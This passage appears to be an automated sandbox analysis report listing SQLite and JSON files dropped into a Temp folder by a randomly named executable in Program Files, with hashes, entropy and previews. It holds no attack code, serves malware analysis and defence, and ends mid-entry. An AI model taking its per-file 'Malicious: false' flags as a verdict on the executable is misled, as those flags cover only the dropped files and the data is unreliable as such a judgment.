SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T8zOYFIxD6

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TFC1ZGIXUQ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TgFRl2lNHB

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\URfEUHWW0Z

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UaUmNOYZn8

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UbgK28KRGf

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UxVF7vkG9q

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\V6yggllNad

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V8bFHYCd5T

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VEeiZFOl50

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VEpqYrA2Rn

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VUAk248lJs

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vgs0ZfuUyn

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VkeBODBBxY

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W3l9dQ0IYI

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W5lsOdM0dS

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WAVwfJwefp

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WUGNrugTj1

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WejdvAu8Cd

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WqjcNhfnTe

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WsDuHyrE2R

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X23wx7QkfQ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XxBfVBEl2y

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XzZV6nis5L

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\Y9UP5LTRUW

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YBnQfuNGOA

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
